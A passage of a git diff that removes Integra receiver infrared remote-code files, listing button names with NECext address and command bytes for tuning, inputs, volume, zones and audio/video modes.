00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D6 00 00 00 -# -name: 12 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D6 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D7 00 00 00 -# -name: NET/USB_3 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D7 00 00 00 -# -name: 13 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D7 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D8 00 00 00 -# -name: NET/USB_4 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D8 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D8 00 00 00 -# -name: 14 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D8 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D9 00 00 00 -# -name: NET/USB_5 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D9 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D9 00 00 00 -# -name: 15 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: D9 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DA 00 00 00 -# -name: NET/USB_6 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DA 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DA 00 00 00 -# -name: 16 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DA 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DB 00 00 00 -# -name: NET/USB_7 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DB 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DB 00 00 00 -# -name: 17 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DB 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DC 00 00 00 -# -name: NET/USB_8 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DC 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DC 00 00 00 -# -name: 18 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DC 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DD 00 00 00 -# -name: NET/USB_9 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DD 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DD 00 00 00 -# -name: 19 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DD 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DE 00 00 00 -# -name: 0/10 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DE 00 00 00 -# -name: NET/USB_0 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DE 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DE 00 00 00 -# -name: 0_/_10 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DE 00 00 00 -# -name: 10 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DE 00 00 00 -# -name: DIRECT_ACCESS -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DF 00 00 00 -# -name: TUNE_DIRECT -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DF 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DF 00 00 00 -# -name: DIRECT_TUNING -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DF 00 00 00 -# -name: DIRECT_TUNE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DF 00 00 00 -# -name: D-TUNE -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DF 00 00 00 -# -name: -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DF 00 00 00 -# -name: 0/10 -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DF 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DF 00 00 00 -# -name: D._TUN -type: parsed -protocol: NECext -address: D2 02 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,20.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,20.ir deleted file mode 100644 index 7632837fb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,20.ir +++ /dev/null @@ -1,350 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: D2 14 00 00 -command: 40 00 00 00 -# -name: Z2_TUNING_UP -type: parsed -protocol: NECext -address: D2 14 00 00 -command: 40 00 00 00 -# -name: TUNE_DOWN -type: parsed -protocol: NECext -address: D2 14 00 00 -command: 41 00 00 00 -# -name: Z2_TUNING_DOWN -type: parsed -protocol: NECext -address: D2 14 00 00 -command: 41 00 00 00 -# -name: SEARCH_MODE -type: parsed -protocol: NECext -address: D2 14 00 00 -command: 4D 00 00 00 -# -name: XM_SEARCH_MODE -type: parsed -protocol: NECext -address: D2 14 00 00 -command: 4D 00 00 00 -# -name: NET_TUNE_FFWD -type: parsed -protocol: NECext -address: D2 14 00 00 -command: 80 00 00 00 -# -name: NET_TUNE_REW -type: parsed -protocol: NECext -address: D2 14 00 00 -command: 81 00 00 00 -# -name: NET_TUNE_RETURN -type: parsed -protocol: NECext -address: D2 14 00 00 -command: 86 00 00 00 -# -name: MUSIC_SERVER -type: parsed -protocol: NECext -address: D2 14 00 00 -command: 88 00 00 00 -# -name: INTERNET_RADIO -type: parsed -protocol: NECext -address: D2 14 00 00 -command: 89 00 00 00 -# -name: NET_TUNE_PLAY -type: parsed -protocol: NECext -address: D2 14 00 00 -command: 8D 00 00 00 -# -name: NET_TUNE_STOP -type: parsed -protocol: NECext -address: D2 14 00 00 -command: 8E 00 00 00 -# -name: NET_TUNE_TRACK_+ -type: parsed -protocol: NECext -address: D2 14 00 00 -command: 8F 00 00 00 -# -name: NET_TUNE_TRACK_- -type: parsed -protocol: NECext -address: D2 14 00 00 -command: 90 00 00 00 -# -name: NET_TUNE_PAUSE -type: parsed -protocol: NECext -address: D2 14 00 00 -command: 91 00 00 00 -# -name: NET_TUNE_REPEAT -type: parsed -protocol: NECext -address: D2 14 00 00 -command: 92 00 00 00 -# -name: NET_TUNE_RANDOM -type: parsed -protocol: NECext -address: D2 14 00 00 -command: 93 00 00 00 -# -name: NET_TUNE_DISPLAY -type: parsed -protocol: NECext -address: D2 14 00 00 -command: 9E 00 00 00 -# -name: NET_TUNE_UP -type: parsed -protocol: NECext -address: D2 14 00 00 -command: C0 00 00 00 -# -name: NET_TUNE_DOWN -type: parsed -protocol: NECext -address: D2 14 00 00 -command: C1 00 00 00 -# -name: NET_TUNE_LEFT -type: parsed -protocol: NECext -address: D2 14 00 00 -command: C2 00 00 00 -# -name: NET_TUNE_RIGHT -type: parsed -protocol: NECext -address: D2 14 00 00 -command: C3 00 00 00 -# -name: NET_TUNE_SELECT -type: parsed -protocol: NECext -address: D2 14 00 00 -command: C4 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: D5 00 00 00 -# -name: NET_TUNE_1 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: D5 00 00 00 -# -name: Z2_1 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: D5 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: D5 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: D6 00 00 00 -# -name: NET_TUNE_2 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: D6 00 00 00 -# -name: Z2_2 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: D6 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: D7 00 00 00 -# -name: NET_TUNE_3 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: D7 00 00 00 -# -name: Z2_3 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: D7 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: D8 00 00 00 -# -name: NET_TUNE_4 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: D8 00 00 00 -# -name: Z2_4 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: D8 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: D9 00 00 00 -# -name: NET_TUNE_5 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: D9 00 00 00 -# -name: Z2_5 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: D9 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: DA 00 00 00 -# -name: NET_TUNE_6 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: DA 00 00 00 -# -name: Z2_6 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: DA 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: DB 00 00 00 -# -name: NET_TUNE_7 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: DB 00 00 00 -# -name: Z2_7 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: DB 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: DC 00 00 00 -# -name: NET_TUNE_8 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: DC 00 00 00 -# -name: Z2_8 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: DC 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: DD 00 00 00 -# -name: NET_TUNE_9 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: DD 00 00 00 -# -name: Z2_9 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: DD 00 00 00 -# -name: 0/10 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: DE 00 00 00 -# -name: NET_TUNE_0/10 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: DE 00 00 00 -# -name: Z2_0/10 -type: parsed -protocol: NECext -address: D2 14 00 00 -command: DE 00 00 00 -# -name: DIRECT_TUNE -type: parsed -protocol: NECext -address: D2 14 00 00 -command: DF 00 00 00 -# -name: Z2_DIRECT_TUNING -type: parsed -protocol: NECext -address: D2 14 00 00 -command: DF 00 00 00 -# -name: DIRECT_TUNING -type: parsed -protocol: NECext -address: D2 14 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,21.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,21.ir deleted file mode 100644 index 10fac1ed8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,21.ir +++ /dev/null @@ -1,314 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Z3_PRESET_UP -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 00 00 00 00 -# -name: PRESET_UP -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 00 00 00 00 -# -name: Z3_PRESET_DOWN -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 01 00 00 00 -# -name: PRESET_DOWN -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 01 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 02 00 00 00 -# -name: Z3_VOLUME_+ -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 02 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 02 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 03 00 00 00 -# -name: Z3_VOLUME_- -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 03 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 03 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 04 00 00 00 -# -name: Z3_POWER_ON -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 04 00 00 00 -# -name: ZONE_2_ON -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 04 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 05 00 00 00 -# -name: Z3_MUTING_(TOGGLE) -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 05 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 05 00 00 00 -# -name: Z3_TAPE1(TAPE) -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 08 00 00 00 -# -name: INPUT:_TAPE -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 08 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 08 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 09 00 00 00 -# -name: Z3_CD -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 09 00 00 00 -# -name: INPUT:_CD -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 09 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 0A 00 00 00 -# -name: Z3_PHONO -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 0A 00 00 00 -# -name: INPUT:_PHONO -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 0A 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 0B 00 00 00 -# -name: Z3_TUNER -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 0B 00 00 00 -# -name: INPUT:_TUNER -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 0B 00 00 00 -# -name: VIDEO_3_GAME/TV -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 0D 00 00 00 -# -name: Z3_GAME/TV -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 0D 00 00 00 -# -name: INPUT:_GAME/TV -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 0D 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 0D 00 00 00 -# -name: VIDEO_2_CBL/SAT -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 0E 00 00 00 -# -name: Z3_CBL/SAT -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 0E 00 00 00 -# -name: INPUT:_CBL/SAT -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 0E 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 0E 00 00 00 -# -name: VIDEO_1_VCR/DVR -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 0F 00 00 00 -# -name: Z3_VCR/DVR -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 0F 00 00 00 -# -name: INPUT:_VCR/DVR -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 0F 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 0F 00 00 00 -# -name: Z3_FM -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 46 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 46 00 00 00 -# -name: Z3_AM -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 47 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 47 00 00 00 -# -name: VIDEO_6_PC -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 9D 00 00 00 -# -name: Z3_AUX2 -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 9D 00 00 00 -# -name: INPUT:_AUX_2 -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 9D 00 00 00 -# -name: VIDEO_5 -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 9D 00 00 00 -# -name: VIDEO_4_AUX1 -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 9F 00 00 00 -# -name: Z3_AUX1(AUX) -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 9F 00 00 00 -# -name: INPUT:_AUX_1 -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 9F 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: D2 15 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,22.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,22.ir deleted file mode 100644 index 6019833f3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,22.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Z3_VOLUME_+_(2) -type: parsed -protocol: NECext -address: D2 16 00 00 -command: 42 00 00 00 -# -name: Z3_VOLUME_-_(2) -type: parsed -protocol: NECext -address: D2 16 00 00 -command: 43 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: D2 16 00 00 -command: 47 00 00 00 -# -name: Z3_STANDBY -type: parsed -protocol: NECext -address: D2 16 00 00 -command: 47 00 00 00 -# -name: ZONE_2_OFF -type: parsed -protocol: NECext -address: D2 16 00 00 -command: 47 00 00 00 -# -name: Z3_SOURCE -type: parsed -protocol: NECext -address: D2 16 00 00 -command: 5F 00 00 00 -# -name: SOURCE -type: parsed -protocol: NECext -address: D2 16 00 00 -command: 5F 00 00 00 -# -name: Z3_MUTING_ON -type: parsed -protocol: NECext -address: D2 16 00 00 -command: 84 00 00 00 -# -name: MUTE_ON -type: parsed -protocol: NECext -address: D2 16 00 00 -command: 84 00 00 00 -# -name: Z3_MUTING_OFF -type: parsed -protocol: NECext -address: D2 16 00 00 -command: 85 00 00 00 -# -name: MUTE_OFF -type: parsed -protocol: NECext -address: D2 16 00 00 -command: 85 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: D2 16 00 00 -command: 8C 00 00 00 -# -name: Z3_DVD -type: parsed -protocol: NECext -address: D2 16 00 00 -command: 8C 00 00 00 -# -name: INPUT:_DVD -type: parsed -protocol: NECext -address: D2 16 00 00 -command: 8C 00 00 00 -# -name: Z3_STANDBY/ON_(TGLE) -type: parsed -protocol: NECext -address: D2 16 00 00 -command: CB 00 00 00 -# -name: STANDBY/ON -type: parsed -protocol: NECext -address: D2 16 00 00 -command: CB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,23.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,23.ir deleted file mode 100644 index 88bce441f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,23.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: UNIVERSAL_PORT -type: parsed -protocol: NECext -address: D2 17 00 00 -command: 8A 00 00 00 -# -name: USB -type: parsed -protocol: NECext -address: D2 17 00 00 -command: 9E 00 00 00 -# -name: XM -type: parsed -protocol: NECext -address: D2 17 00 00 -command: DA 00 00 00 -# -name: SIRIUS -type: parsed -protocol: NECext -address: D2 17 00 00 -command: DB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,24.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,24.ir deleted file mode 100644 index ecf27a71d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,24.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Z3_TUNING_UP -type: parsed -protocol: NECext -address: D2 18 00 00 -command: 40 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: D2 18 00 00 -command: 40 00 00 00 -# -name: Z3_TUNING_DOWN -type: parsed -protocol: NECext -address: D2 18 00 00 -command: 41 00 00 00 -# -name: TUNE_DOWN -type: parsed -protocol: NECext -address: D2 18 00 00 -command: 41 00 00 00 -# -name: SEARCH_MODE -type: parsed -protocol: NECext -address: D2 18 00 00 -command: 4D 00 00 00 -# -name: USB_FRONT -type: parsed -protocol: NECext -address: D2 18 00 00 -command: 87 00 00 00 -# -name: NET_AUDIO -type: parsed -protocol: NECext -address: D2 18 00 00 -command: 87 00 00 00 -# -name: MUSIC_SERVER -type: parsed -protocol: NECext -address: D2 18 00 00 -command: 88 00 00 00 -# -name: INTERNET_RADIO -type: parsed -protocol: NECext -address: D2 18 00 00 -command: 89 00 00 00 -# -name: NET_TUNE_PLAY -type: parsed -protocol: NECext -address: D2 18 00 00 -command: 8D 00 00 00 -# -name: NET_TUNE_STOP -type: parsed -protocol: NECext -address: D2 18 00 00 -command: 8E 00 00 00 -# -name: NET_TUNE_DOWN -type: parsed -protocol: NECext -address: D2 18 00 00 -command: 8F 00 00 00 -# -name: NET_TUNE_UP -type: parsed -protocol: NECext -address: D2 18 00 00 -command: 8F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: D2 18 00 00 -command: D5 00 00 00 -# -name: Z3_1 -type: parsed -protocol: NECext -address: D2 18 00 00 -command: D5 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: D2 18 00 00 -command: D6 00 00 00 -# -name: Z3_2 -type: parsed -protocol: NECext -address: D2 18 00 00 -command: D6 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: D2 18 00 00 -command: D7 00 00 00 -# -name: Z3_3 -type: parsed -protocol: NECext -address: D2 18 00 00 -command: D7 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: D2 18 00 00 -command: D8 00 00 00 -# -name: Z3_4 -type: parsed -protocol: NECext -address: D2 18 00 00 -command: D8 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: D2 18 00 00 -command: D9 00 00 00 -# -name: Z3_5 -type: parsed -protocol: NECext -address: D2 18 00 00 -command: D9 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: D2 18 00 00 -command: DA 00 00 00 -# -name: Z3_6 -type: parsed -protocol: NECext -address: D2 18 00 00 -command: DA 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: D2 18 00 00 -command: DB 00 00 00 -# -name: Z3_7 -type: parsed -protocol: NECext -address: D2 18 00 00 -command: DB 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: D2 18 00 00 -command: DC 00 00 00 -# -name: Z3_8 -type: parsed -protocol: NECext -address: D2 18 00 00 -command: DC 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: D2 18 00 00 -command: DD 00 00 00 -# -name: Z3_9 -type: parsed -protocol: NECext -address: D2 18 00 00 -command: DD 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: D2 18 00 00 -command: DD 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: D2 18 00 00 -command: DD 00 00 00 -# -name: 0/10 -type: parsed -protocol: NECext -address: D2 18 00 00 -command: DE 00 00 00 -# -name: Z3_0/10 -type: parsed -protocol: NECext -address: D2 18 00 00 -command: DE 00 00 00 -# -name: Z3_DIRECT_TUNING -type: parsed -protocol: NECext -address: D2 18 00 00 -command: DF 00 00 00 -# -name: DIRECET_TUNE -type: parsed -protocol: NECext -address: D2 18 00 00 -command: DF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,25.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,25.ir deleted file mode 100644 index dc0a54a2c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Integra/Receiver/210,25.ir +++ /dev/null @@ -1,410 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SETUP_HOME -type: parsed -protocol: NECext -address: D2 19 00 00 -command: C0 00 00 00 -# -name: AUDIO_COAX/OPT -type: parsed -protocol: NECext -address: D2 19 00 00 -command: C2 00 00 00 -# -name: AUDIO_COAX/OPT_AUTO -type: parsed -protocol: NECext -address: D2 19 00 00 -command: C2 00 00 00 -# -name: RESOLUTION_1080P/24F -type: parsed -protocol: NECext -address: D2 19 00 00 -command: C3 00 00 00 -# -name: MODE_THX_MUSIC -type: parsed -protocol: NECext -address: D2 19 00 00 -command: C4 00 00 00 -# -name: THX_MUSIC -type: parsed -protocol: NECext -address: D2 19 00 00 -command: C4 00 00 00 -# -name: MODE_THX_GAMES -type: parsed -protocol: NECext -address: D2 19 00 00 -command: C5 00 00 00 -# -name: THX_GAMES -type: parsed -protocol: NECext -address: D2 19 00 00 -command: C5 00 00 00 -# -name: MODE_NEURAL_CINEMA -type: parsed -protocol: NECext -address: D2 19 00 00 -command: C6 00 00 00 -# -name: MODE_NEURAL_MUSIC -type: parsed -protocol: NECext -address: D2 19 00 00 -command: C7 00 00 00 -# -name: RESOLUTION_SOURCE -type: parsed -protocol: NECext -address: D2 19 00 00 -command: C9 00 00 00 -# -name: RESOLUTION_THRU -type: parsed -protocol: NECext -address: D2 19 00 00 -command: CA 00 00 00 -# -name: RESOLUTION_THROUGH -type: parsed -protocol: NECext -address: D2 19 00 00 -command: CA 00 00 00 -# -name: RESOLUTION:_THROUGH -type: parsed -protocol: NECext -address: D2 19 00 00 -command: CA 00 00 00 -# -name: RESOLUTION_AUTO -type: parsed -protocol: NECext -address: D2 19 00 00 -command: CB 00 00 00 -# -name: RESOLUTION:_AUTO -type: parsed -protocol: NECext -address: D2 19 00 00 -command: CB 00 00 00 -# -name: RESOLUTION_480P -type: parsed -protocol: NECext -address: D2 19 00 00 -command: CC 00 00 00 -# -name: RESOLUTION:_480P -type: parsed -protocol: NECext -address: D2 19 00 00 -command: CC 00 00 00 -# -name: RESOLUTION_720P -type: parsed -protocol: NECext -address: D2 19 00 00 -command: CD 00 00 00 -# -name: RESOLUTION:_720P -type: parsed -protocol: NECext -address: D2 19 00 00 -command: CD 00 00 00 -# -name: RESOLUTION_1080I -type: parsed -protocol: NECext -address: D2 19 00 00 -command: CE 00 00 00 -# -name: RESOLUTION:_1080I -type: parsed -protocol: NECext -address: D2 19 00 00 -command: CE 00 00 00 -# -name: RESOLUTION_1080P -type: parsed -protocol: NECext -address: D2 19 00 00 -command: CF 00 00 00 -# -name: RESOLUTION:_1080P -type: parsed -protocol: NECext -address: D2 19 00 00 -command: CF 00 00 00 -# -name: AUDIO_AUTO -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D0 00 00 00 -# -name: AUDIO:_AUTO -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D0 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D0 00 00 00 -# -name: AUDIO_ANALOG -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D1 00 00 00 -# -name: ANALOG -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D1 00 00 00 -# -name: AUDIO_MULTI_CHANNEL -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D2 00 00 00 -# -name: AUDIO:_ANALOG -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D2 00 00 00 -# -name: MULITCH -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D2 00 00 00 -# -name: AUDIO_HDMI -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D3 00 00 00 -# -name: HDMI -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D3 00 00 00 -# -name: MODE_PLLX_THX_MUSIC -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D4 00 00 00 -# -name: MODE_PLLX_THX_GAMES -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D6 00 00 00 -# -name: PLIIX_THX_GAMES -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D6 00 00 00 -# -name: NEO:_6_THX_GAMES -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D6 00 00 00 -# -name: PLIIX_THX_GAMES -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D6 00 00 00 -# -name: MODE_NEO_THX_GAMES -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D7 00 00 00 -# -name: NEO:6_THX_GAMES -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D7 00 00 00 -# -name: MODE_NEURAL_THX_GAME -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D7 00 00 00 -# -name: MODE_PLLX_THX_CINEMA -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D8 00 00 00 -# -name: PLIIX_THX_CINEMA -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D8 00 00 00 -# -name: MODE:_PLIIX_CINEMA -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D8 00 00 00 -# -name: NEO:_6_THX_CINEMA -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D9 00 00 00 -# -name: NEO:6_THX_CINEMA -type: parsed -protocol: NECext -address: D2 19 00 00 -command: D9 00 00 00 -# -name: MODE_THX_CINEMA -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DA 00 00 00 -# -name: THX_CINEMA -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DA 00 00 00 -# -name: MODE:_THX_CINEMA -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DA 00 00 00 -# -name: MODE_THX_SURR_EX -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DB 00 00 00 -# -name: THX_SURROUND_EX -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DB 00 00 00 -# -name: MODE:_THX_SURR_EX -type: parsed -protocol: NECext -address: D2 19 00 00 -command: DB 00 00 00 -# 